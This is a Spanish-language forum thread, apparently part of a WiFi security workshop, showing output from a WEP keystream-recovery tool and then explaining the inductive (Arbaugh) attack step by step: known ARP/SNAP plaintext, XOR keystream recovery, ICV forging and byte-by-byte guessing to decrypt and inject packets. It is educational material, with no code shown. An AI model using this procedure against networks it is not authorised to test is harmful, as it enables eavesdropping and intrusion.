IP DESTINO:  10.10.10.201.
Parámetros WEP
**************
        IV completo: F3 6F 00 00
        Num de KEY usada: 00

keystream;
F3 6F 00 00  E1 99 BB 7C  1F E4 E8 7D  54 0E E7 35
FE 5C 65 A6  1F D8 86 F4  CC 9C 4D 44  CF 23 1B A0
FB 1E 9B 2F  99 2C F5 65  37 93 E7 66

Duración del ataque: 20 segundos

Taller_WiFi src #
Taller_WiFi src #


Como ves, 20 segundos!!!! que frente a los 13 minutos del anterior... pues como mejor programado

En el código fuente del mismo tienes todos los comentarios necesarios para comprender cómo funciona y por qué es tan rápido.

Que lo disfrutes.

No vamos a menospreciar al "lento", nos vendrá muy bien cuando nos toque WPA y queramos hacer algo similar, con WPA la cosa cambia porque los IV's no se pueden/deben reutilizar, se controla la integridad del mensaje y el punto de acceso puede tomar "contramedidas" y obligar a todos los clientes a renegociar las llaves por lo que el ataque no puede continuar, todo llegará.

Ahora, un detector, para el siguiente post.

[VULNERABILIDADES WEP. PARTE III. TEORÍA (I)]

VULNERABILIDADES WEP. PARTE III. TEORÍA (I)

Ataque Inductivo.

El ataque inductivo (también conocido como ataque Arbaught) consiste en la generación parcial de paquetes 802.11 que son enviados al punto de acceso con la esperanza de que uno de ellos sea correcto y a partir del mismo ir generando el keystream del paquete cifrado original y por consiguiente conseguir descifrarlo.

Cuando digo punto de acceso debería decir Sistema de Distribución, pero vamos, es una forma "mas coloquial"

Esta generación "parcial" no debes confundirla con el ataque de fragmentación, pues si bien se envían "fragmentos" de un paquete, no se trata del mismo tipo de ataque.

El ataque inductivo será capaz de descifrar cualquier paquete de datos cifrado original y lo realiza desde "el principio hasta el final", es decir, avanza progresivamente byte por byte desde el comienzo (o desde la posición que elijamos) hasta el último byte del paquete cifrado original.

Otros ataques (luego los veremos) como chopchop hacen algo similar pero descifran "a la inversa", esto es, comiernzan de "atrás hacia delante", desde el último byte del paquete cifrado original hasta el primero.

Además, ya veremos luego también, se puede combinar con otras ténicas como el "bit-flipping" para lograr el objetivo, que a la postre y en todos los casos de este tipo de ataques, son:

* Descifrar un paquete de datos original WEP
* Obtener un keystream para poder descifrar otros
* Obtener un keystream para poder inyectar nuevos paquetes a la red

Es muy importante que comprendamos bien el funcionamiento del ataque inductivo porque muchos otros usan la misma técnica (o parecida como chopchop) es muy fácil de entender (y difícil de explicar, a ver si lo consigo), veamos:

El atacante parte del hecho que puede generar un paquete en texto plano conocido, este paquete no estará completo, puesto que el atacante desconoce muchos parámetros necesarios para poder inyectarlo, el atacante desconoce:

* La clave WEP (obvio porque en otro caso todo esto no es necesario)

* El contenido original del paquete en texto plano (lógico también)

* El keystream original (por lo mismo de los dos anteriores)

* Las direcciones IP's de la red (como no conoce el texto plano original, el atacante no puede generar paquetes propios en texto plano con las direcciones de red adecuadas)

Pero el atacante puede conocer "parte" del texto plano de un paquete cifrado con WEP!!!

Cómo???? Estás seguro?????

Sí.. El atacante mas que conocer, puede "reconstruir" parte de un paquete de datos en texto plano equivalente al paquete de datos cifrado.

De hecho, el atacante tiene una ventaja muy, muy interesante... como ya sabemos, un paquete 802.11 comienza siempre en sus 6 primeros bytes por la cabecera SNAP

Y esto sí lo conocemos!!!!

Código [Seleccionar] Expandir

AA AA 03 00 00 00 si no hay spannig-tree
42  42   03 00 00 00 con spanning-tree en la red.

Además, ya dijimos que un atacante puede "asumir" que determinados paquetes son de un determinado tipo u otro atendiendo a su tamaño, por ejemplo, los paquetes del tipo ARP son:

68 bytes de longitud si no hay QoS
70 bytes de longitud si hay QoS

También es posible conocer el tamaño de otros paquetes interesantes, DHCP, TCP-SYN, etc.. estos paquetes suelen tener también un tamaño fijo y no son complicados de elaborar.

Para mayor sencillez en las explicaciones vamos a usar un ARP.

Un paquete ARP en una trama de datos 802.11 tiene esta forma



De estas 4 partes, nos interesa sólo la zona de DATOS.

Asumiendo que se tratase de un paquete ARP, podemos reconstruirlo (aproximadamente) así:



Los datos que están reslatados en verde serán siempre los mismos para cualquier paquete ARP, los conocemos SEGURO por lo que los primeros 15 bytes cifrados podemos obtener su keystream.

Los bytes resaltados en amarillo son desconocidos, pero podemos "intuirlos" o pocas son sus variaciones, por ejemplo:

El byte 16 (la primera XX en amarillo) sería:

01 Si es un Request (Solicitud ARP)
02 Si es un Response (Respuesta ARP)[/list](nos olvidamos de RARP, asumimos que no existe)

Los bytes correspondientes a MAC ORIGEN Y/o MAC DESTINO también los podemos "intuir" observando la cabecera 802.11 que te recuerdo no está cifrada, aunque existe un problema:

Si se tratase de un ARP Request MAC DESTINO debería ser 00 00 00 00 00 00
Si se tratase de un ARP Response Target MAC será la mac de quien originó la solicitud.

Como no sabemos si es un ARP REQ o un ARP RSP, pues no podemos determinarlo a ciencia cierta.

Los bytes en Rojo, son TOTALMENTE DESCONOCIDOS   por el atacante.

Por tanto, si quiesiéramos realizar un ataque inductivo de este paquete, lo mejor será comenzar por el byte 16 (que es el primero que desconocemos, el primero de la zona amarilla).

En total, los datos cifrados son: 36 bytes para datos y 4 para el ICV, de los cuales conocemos 15.

El tamaño completo de la trama "a buscar" sería:

Código [Seleccionar] Expandir

24 bytes para la cabecera 80211 (ó 26 si hay QoS)
4  bytes para IV
36 bytes de datos (ARP)
4 bytes para el ICV

Total: 24 + 4 + 36 + 4 = 68 bytes total de la trama sin QoS
Total: 26 + 4 + 36 + 4 = 70 bytes total de la trama con QoS

Lo que debemnos hacer es lo siguiente:

1.- Generar una cabecera 802.11 válida, esto no ofrece dificultad alguna puesto que esa información siempre se transmiten en texto plano y podemos manipularlos como si tal cosa.

Esta cabecera incluirá:

Un Frame control de tipo 08 41 (trama de datos normal con el bit toDS activado y bit wep activado)

Una duración: XX XX, la que queramos

Las MAc's destino-origen y BSSID, las que queramos y/o acordes a la red en la que nos movemos, tampoco es difícil puesto que las obtenemos en claro.

Un número de secuencia: XX XX el que queramos

Total cabecera 802.11 = 2 + 2 + 18 + 2 = 24 bytes de cabecera (sin QoS)

2.- Añadimos el IV original del paquete capturado (4 bytes)

3.- Añadimos los primeros 15 bytes (la zona verde del paquete ARP) que se corrsponden a lo que el atacante conoce SIEMPRE

4.- Hacemos XOR de los 15 primeros bytes del paquete cifrado original con los 15 bytes del paquete en texto plano que ya conocemos, y obtenemos un keystream para esos primeros 15 bytes.

5.- Se calcula un ICV para estos 15 bytes conocidos (4 bytes)

Por el momento tenemos que el total de nuestra trama es:

24 de cabecera 802.11 + 4 IV + 15 Datos + 4 ICV = 47 bytes

6.- Enviamos una trama con 15 bytes – 3 = 12 bytes de datos y le añadimos el ICV -1 byte

Por tanto, enviamos:

24 de cabecera + 4 del IV + 12 bytes de datos + 3 icv = 43 bytes

A esta operación le iremos añadiendo un byte al final (el del icv) por cada una de las combinaciones posibles (desde 0 a 256, desde 0x00 a 0xFF) y observamos si hay respuesta, si "acertamos" la estación o el Punto de acceso lanzará el paquete y deducimos que hemos acertado.

Si no hay respuesta, probamos un nuevo valor, así hasta el 256.

7.- Una vez obtenida la respuesta, sabremos cual es el byte correcto para la última posición (la 16), ese byte "adivinado" será el keystream para el byte cifrado número 16, por lo que si hacemos XOR tendremos su valor en plano (y según el ejemplo, ya sabremos si es un ARP REQ o RESP).

8.- Repetimos todo el proceso desde el paso 3, sólo que ahora en lugar de tomar los primeros 15 bytes, tomamos los primeros 16 (este último lo descubrimos en el paso 6 y 7) y obtendremos el byte 17,

Si repetimos esta operación para todos y cada uno de los bytes de datos cifrados, obtendremos la totalidad del paquete descifrado y una keystream que nos permitirá reinyectar o cifrar/descifrar otros nuevos.

Resumiendo, el ataque inductivo se basa en que al conocer "parte" del texto plano de un paquete cifrado, podemos ir calculado su ICV y probando a enviar "partes" del mismo alterando el último byte.

Te pongo una figura que ayuda MUCHO a entender todo esto:



Por cada una de las "tandas de comprobación de los 256 bytes" deberíamos obtener al menos una respuesta correcta!!! Cuando esto ocurra, hacemos:



De este modo ya tenemos el keystream, el texto plano y el byte cifrado (este último ya era conocido) del byte número 16.

Si te fijas, antes dije:

Por cada una de las "tandas de comprobación de los 256 bytes" deberíamos obtener al menos una respuesta correcta!!!

Presta atención a las palabras "deberíamos" y "al menos una respuesta"

"Deberíamos" porque nadie nos asegura que no haya errores en la transmisión, o que el punto de acceso al recibir muchos paquetes inválidos antes del bueno emita desautenticaciones, etc... por eso "deberíamos".

"al menos una respuesta" porque puede haber mas, tampoco nadie nos asegura que otras estaciones utilicen este mismo IV y provoquen resultados "similares" o iguales a los esperados.

Y qué pasa si ocurre alguna de estas "cosas"???

Qué ocurresi no obtenemos respuesta o si la respuesta es un falso positivo???

Pues que "el siguiente" byte a descifrar será erróneo y no producirá respuestas y/o resultados, de eso nos daremos cuenta cuando tras probar las 256 combinaciones posibles no obtenemos nada...

Entonces???

Entonces lo que hay que hacer es repetir, pero no hace falta empezar desde el primero, por ejemplo, si esa circunstancia se da en el byte número 27, repetimos todo el proceso desde el 26 (el último que se consiguió)

Y si falla en el primero, para nuestro ejemplo en el 15????

Pues no podemos seguir, el ataque debe finalizar y probar de nuevo, esta vez sí, desde el principio.

El caso es que si todo va bien y no encontramos "inconvenientes" la operación se repite para el byte 16, 17, 18, etc... así hasta el último.

Para nuestro ejemplo sonl 36 de datos  + 4 del ICV  = 40

Buenas:

MUchas gracias berni 

Un saludete

ChimoC